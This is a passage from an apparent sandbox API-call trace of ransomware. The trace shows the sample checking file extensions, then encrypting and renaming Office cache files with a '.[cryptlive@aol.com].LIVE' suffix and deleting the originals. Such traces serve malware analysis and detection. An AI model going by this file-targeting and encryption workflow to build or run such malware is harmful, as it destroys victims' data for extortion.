[0046.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.566] lstrlenW (lpString=".doc") returned 4 [0046.566] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.566] lstrlenW (lpString=".docx") returned 5 [0046.566] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.566] lstrlenW (lpString=".pdf") returned 4 [0046.566] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.566] lstrlenW (lpString=".xls") returned 4 [0046.566] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.566] lstrlenW (lpString=".xlsx") returned 5 [0046.566] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.566] lstrlenW (lpString=".ppt") returned 4 [0046.566] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.566] lstrlenW (lpString=".zip") returned 4 [0046.566] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.566] lstrlenW (lpString=".rar") returned 4 [0046.566] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.566] lstrlenW (lpString=".bz2") returned 4 [0046.566] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.566] lstrlenW (lpString=".7z") returned 3 [0046.566] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.566] lstrlenW (lpString=".dbf") returned 4 [0046.566] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.566] lstrlenW (lpString=".1cd") returned 4 [0046.566] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.566] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.566] lstrlenW (lpString=".jpg") returned 4 [0046.566] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.567] lstrlenW (lpString=".doc") returned 4 [0046.567] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0046.567] lstrlenW (lpString=".docx") returned 5 [0046.567] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0046.567] lstrlenW (lpString=".pdf") returned 4 [0046.567] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0046.567] lstrlenW (lpString=".xls") returned 4 [0046.567] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0046.567] lstrlenW (lpString=".xlsx") returned 5 [0046.567] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0046.567] lstrlenW (lpString=".ppt") returned 4 [0046.567] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0046.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.567] lstrlenW (lpString=".zip") returned 4 [0046.567] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0046.567] lstrlenW (lpString=".rar") returned 4 [0046.567] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0046.567] lstrlenW (lpString=".bz2") returned 4 [0046.567] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0046.567] lstrlenW (lpString=".7z") returned 3 [0046.567] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0046.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.567] lstrlenW (lpString=".dbf") returned 4 [0046.567] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0046.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.567] lstrlenW (lpString=".1cd") returned 4 [0046.567] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0046.567] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\GrooveLR.cab") returned 75 [0046.567] lstrlenW (lpString=".jpg") returned 4 [0046.567] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0046.568] lstrcmpiW (lpString1=".manifest", lpString2=".LIVE") returned 1 [0046.568] lstrlenW (lpString="Microsoft.VC90.CRT.manifest") returned 27 [0046.568] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.801] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=1857) returned 1 [0046.801] CloseHandle (hObject=0x160) returned 1 [0046.802] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 0x2020 [0046.802] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.802] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.802] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.802] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0046.803] GetLastError () returned 0x0 [0046.803] ReadFile (in: hFile=0x160, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x741, lpOverlapped=0x0) returned 1 [0046.807] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0x750, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0x750, lpOverlapped=0x0) returned 1 [0046.808] ReadFile (in: hFile=0x160, lpBuffer=0x3a20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fed4, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesRead=0x300fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.808] WriteFile (in: hFile=0x1bc, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x300fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fc9c*=0x10a, lpOverlapped=0x0) returned 1 [0046.808] SetEndOfFile (hFile=0x1bc) returned 1 [0046.808] CloseHandle (hObject=0x1bc) returned 1 [0046.810] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.810] SetEndOfFile (hFile=0x160) returned 1 [0046.813] CloseHandle (hObject=0x160) returned 1 [0046.813] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0046.814] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest")) returned 1 [0046.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.814] lstrlenW (lpString=".doc") returned 4 [0046.814] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0046.814] lstrlenW (lpString=".docx") returned 5 [0046.814] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0046.814] lstrlenW (lpString=".pdf") returned 4 [0046.814] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0046.814] lstrlenW (lpString=".xls") returned 4 [0046.814] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0046.814] lstrlenW (lpString=".xlsx") returned 5 [0046.814] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0046.814] lstrlenW (lpString=".ppt") returned 4 [0046.814] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0046.814] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.814] lstrlenW (lpString=".zip") returned 4 [0046.814] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0046.814] lstrlenW (lpString=".rar") returned 4 [0046.814] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0046.814] lstrlenW (lpString=".bz2") returned 4 [0046.814] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0046.814] lstrlenW (lpString=".7z") returned 3 [0046.814] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0046.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.815] lstrlenW (lpString=".dbf") returned 4 [0046.815] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.815] lstrlenW (lpString=".1cd") returned 4 [0046.815] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.815] lstrlenW (lpString=".jpg") returned 4 [0046.815] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.815] lstrlenW (lpString=".doc") returned 4 [0046.815] lstrcmpiW (lpString1=".doc", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString=".docx") returned 5 [0046.815] lstrcmpiW (lpString1=".docx", lpString2="ifest") returned -1 [0046.815] lstrlenW (lpString=".pdf") returned 4 [0046.815] lstrcmpiW (lpString1=".pdf", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString=".xls") returned 4 [0046.815] lstrcmpiW (lpString1=".xls", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString=".xlsx") returned 5 [0046.815] lstrcmpiW (lpString1=".xlsx", lpString2="ifest") returned -1 [0046.815] lstrlenW (lpString=".ppt") returned 4 [0046.815] lstrcmpiW (lpString1=".ppt", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.815] lstrlenW (lpString=".zip") returned 4 [0046.815] lstrcmpiW (lpString1=".zip", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString=".rar") returned 4 [0046.815] lstrcmpiW (lpString1=".rar", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString=".bz2") returned 4 [0046.815] lstrcmpiW (lpString1=".bz2", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString=".7z") returned 3 [0046.815] lstrcmpiW (lpString1=".7z", lpString2="est") returned -1 [0046.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.815] lstrlenW (lpString=".dbf") returned 4 [0046.815] lstrcmpiW (lpString1=".dbf", lpString2="fest") returned -1 [0046.815] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.816] lstrlenW (lpString=".1cd") returned 4 [0046.816] lstrcmpiW (lpString1=".1cd", lpString2="fest") returned -1 [0046.816] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest") returned 90 [0046.816] lstrlenW (lpString=".jpg") returned 4 [0046.816] lstrcmpiW (lpString1=".jpg", lpString2="fest") returned -1 [0046.816] lstrcmpiW (lpString1=".msi", lpString2=".LIVE") returned 1 [0046.816] lstrlenW (lpString="OfficeMUI.msi") returned 13 [0046.816] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.816] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=3702272) returned 1 [0046.816] CloseHandle (hObject=0x160) returned 1 [0046.816] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi")) returned 0x2020 [0046.816] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0046.816] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0046.817] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemui.msi.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.817] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0x0) returned 1 [0046.817] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.817] ReadFile (in: hFile=0x160, lpBuffer=0x3a20058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a20058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.821] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.821] ReadFile (in: hFile=0x160, lpBuffer=0x3a60058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3a60058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.829] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0046.829] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x300fc2c | out: lpNewFilePointer=0x0) returned 1 [0046.830] ReadFile (in: hFile=0x160, lpBuffer=0x3aa0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc38, lpOverlapped=0x0 | out: lpBuffer=0x3aa0058*, lpNumberOfBytesRead=0x300fc38*=0x40000, lpOverlapped=0x0) returned 1 [0046.845] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.845] WriteFile (in: hFile=0x160, lpBuffer=0x3a20020*, nNumberOfBytesToWrite=0xc0106, lpNumberOfBytesWritten=0x300fcb0, lpOverlapped=0x0 | out: lpBuffer=0x3a20020*, lpNumberOfBytesWritten=0x300fcb0*=0xc0106, lpOverlapped=0x0) returned 1 [0047.197] SetEndOfFile (hFile=0x160) returned 1 [0047.197] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40000) returned 0x3f50078 [0047.197] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.197] WriteFile (in: hFile=0x160, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.199] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x12d4aa, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.199] WriteFile (in: hFile=0x160, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.203] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x347e00, lpNewFilePointer=0x0, dwMoveMethod=0x300fc7c | out: lpNewFilePointer=0x0) returned 1 [0047.203] WriteFile (in: hFile=0x160, lpBuffer=0x3f50078*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc88, lpOverlapped=0x0 | out: lpBuffer=0x3f50078*, lpNumberOfBytesWritten=0x300fc88*=0x40000, lpOverlapped=0x0) returned 1 [0047.205] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3f50078 | out: hHeap=0x520000) returned 1 [0047.205] CloseHandle (hObject=0x160) returned 1 [0048.503] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x2020) returned 1 [0048.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.504] lstrlenW (lpString=".doc") returned 4 [0048.504] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.504] lstrlenW (lpString=".docx") returned 5 [0048.504] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.504] lstrlenW (lpString=".pdf") returned 4 [0048.504] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.504] lstrlenW (lpString=".xls") returned 4 [0048.504] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.504] lstrlenW (lpString=".xlsx") returned 5 [0048.504] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.504] lstrlenW (lpString=".ppt") returned 4 [0048.504] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.504] lstrlenW (lpString=".zip") returned 4 [0048.504] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.504] lstrlenW (lpString=".rar") returned 4 [0048.504] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.504] lstrlenW (lpString=".bz2") returned 4 [0048.504] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.504] lstrlenW (lpString=".7z") returned 3 [0048.504] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.504] lstrlenW (lpString=".dbf") returned 4 [0048.504] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.504] lstrlenW (lpString=".1cd") returned 4 [0048.504] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.504] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.504] lstrlenW (lpString=".jpg") returned 4 [0048.505] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.505] lstrlenW (lpString=".doc") returned 4 [0048.505] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0048.505] lstrlenW (lpString=".docx") returned 5 [0048.505] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0048.505] lstrlenW (lpString=".pdf") returned 4 [0048.505] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0048.505] lstrlenW (lpString=".xls") returned 4 [0048.505] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0048.505] lstrlenW (lpString=".xlsx") returned 5 [0048.505] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0048.505] lstrlenW (lpString=".ppt") returned 4 [0048.505] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0048.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.505] lstrlenW (lpString=".zip") returned 4 [0048.505] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0048.505] lstrlenW (lpString=".rar") returned 4 [0048.505] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0048.505] lstrlenW (lpString=".bz2") returned 4 [0048.505] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0048.505] lstrlenW (lpString=".7z") returned 3 [0048.505] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0048.505] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.505] lstrlenW (lpString=".dbf") returned 4 [0048.505] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0048.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.506] lstrlenW (lpString=".1cd") returned 4 [0048.506] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0048.506] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.msi") returned 76 [0048.506] lstrlenW (lpString=".jpg") returned 4 [0048.506] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0048.506] lstrcmpiW (lpString1=".cab", lpString2=".LIVE") returned -1 [0048.506] lstrlenW (lpString="OWOW32WW.cab") returned 12 [0048.506] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0048.506] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x300ff1c | out: lpFileSize=0x300ff1c*=36233052) returned 1 [0048.506] CloseHandle (hObject=0x160) returned 1 [0048.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab")) returned 0x2020 [0048.507] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0048.507] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\OWOW32WW.cab.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\owow32ww.cab.id-9c354b42.[cryptlive@aol.com].live")) returned 1 [0048.507] CreateFileW (lpFileName="C:\\MSOCache\\All 